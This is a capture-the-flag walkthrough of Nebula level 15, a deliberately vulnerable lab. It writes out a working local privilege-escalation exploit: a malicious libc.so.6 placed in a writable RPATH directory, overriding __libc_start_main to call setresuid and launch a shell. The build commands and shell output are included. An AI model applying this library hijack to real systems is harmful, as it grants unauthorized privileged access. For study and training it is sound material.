Exploit-Education Nebula Level 15

6 minute read

Exploit Education Level 15

Challenge

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

Clean up after yourself :)

To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15.

Analysis

Lets strace it

level15@nebula:/home/flag15$ strace ./flag15
execve("./flag15", ["./flag15"], [/* 16 vars */]) = 0
brk(0)                                  = 0x8ca5000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7749000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7740000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x9f8000
mmap2(0xb6e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xb6e000
mmap2(0xb71000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb71000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773f000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb773f8d0, limit:1048575,   
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb6e000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x335000, 4096, PROT_READ)     = 0
munmap(0xb7740000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?

So the program is looking for libc file in certain directories and in the end it loads it form a default path.

open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3

So if we compile our own library and place it one of the directories where the program is looking, we can manipulate function calls made to the library.
Lets run ltrace and check the functions calls made to the shared library.

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ ltrace /home/flag15/flag15
__libc_start_main(0x8048330, 1, 0xbfb8f614, 0x8048400, 0x8048470 <unfinished ...>
puts("strace it!"strace it!
)                                                   = 11
+++ exited (status 11) +++

We can see that the functions calls __libc_start_main and puts.
Lets do some analysis with objdump

level15@nebula:/home/flag15$ objdump -p flag15
Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

We can see that the program is compiled with RPATH. Let check what that exactly means.

-rpath=dir Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link;

So when a program is compile with rpath, the program looks for shared libraries in that specific path. In this case RPATH points to /var/tmp/flag15. So we can place our library file in the first path it searching.

open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

Solution

So my plan is to compile a shared library with the function __libc_start_main so that the program executes our custom function when the call is made.
So I looked up details on __libc_start_main. Libc reference

int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void),  
void (*rtld_fini) (void), void (* stack_end));

So lets write our libc using this.

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ cat libc.c
#include <stdlib.h>
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void),  
void (*rtld_fini) (void), void (* stack_end))
{
system("/bin/bash");
return 0;
}

I am executing a simple /bin/bash shell when __libc_start_main function is called.
Lets compile it as a shared library

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -shared -fPIC -o libc.so.6 libc.c -lc

Now lets try running ltrace

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ ltrace /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6: no version information available   
(required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6: no version information available   
(required by /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6: no version information available   
(required by /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6:  
symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
+++ exited (status 127) +++

It is throwing errors regarding the version of libc and about not being able to find a symbol __cxa_finalize. So after some digging around I found a way to add version by using the script=<version-script> argument. I also added the symbol __cxa_finalize();. But it was still throwing errors and it was looking for another symbol. After some more tests I understood that the problem was that our libc didn’t have enough content to run the system command. I solved it by compiling the library with -static-libgcc argument.
Contents of lib.c file

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ cat libc.c
#include <stdlib.h>

void __cxa_finalize();

int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void),  
                      void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
system("/bin/bash");
return 0;
}

Lets compile it and run

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -fPIC -shared -static-libgcc   
-Wl,--version-script=version,-Bstatic -o libc.so.6 libc.c

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ ltrace /home/flag15/flag15                                   
__libc_start_main(0x8048330, 1, 0xbf9b75f4, 0x8048400, 0x8048470level15
@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ id
uid=1016(level15) gid=1016(level15) groups=1016(level15)
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ 

It worked. The program made a call to __libc_start_main and executed our system command. But the uid is ours. The program dropped privileges when the system call was made.
So I added the setresuid function.

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ cat libc.c
#include <stdlib.h>

void __cxa_finalize();

int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void),  
                      void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
setresuid(geteuid(),geteuid(),geteuid());
system("/bin/bash");
return 0;
}

Lets compile it and run the program

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic 
-o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ /home/flag15/flag15
flag15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
flag15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ getflag
You have successfully executed getflag on a target account

Solved!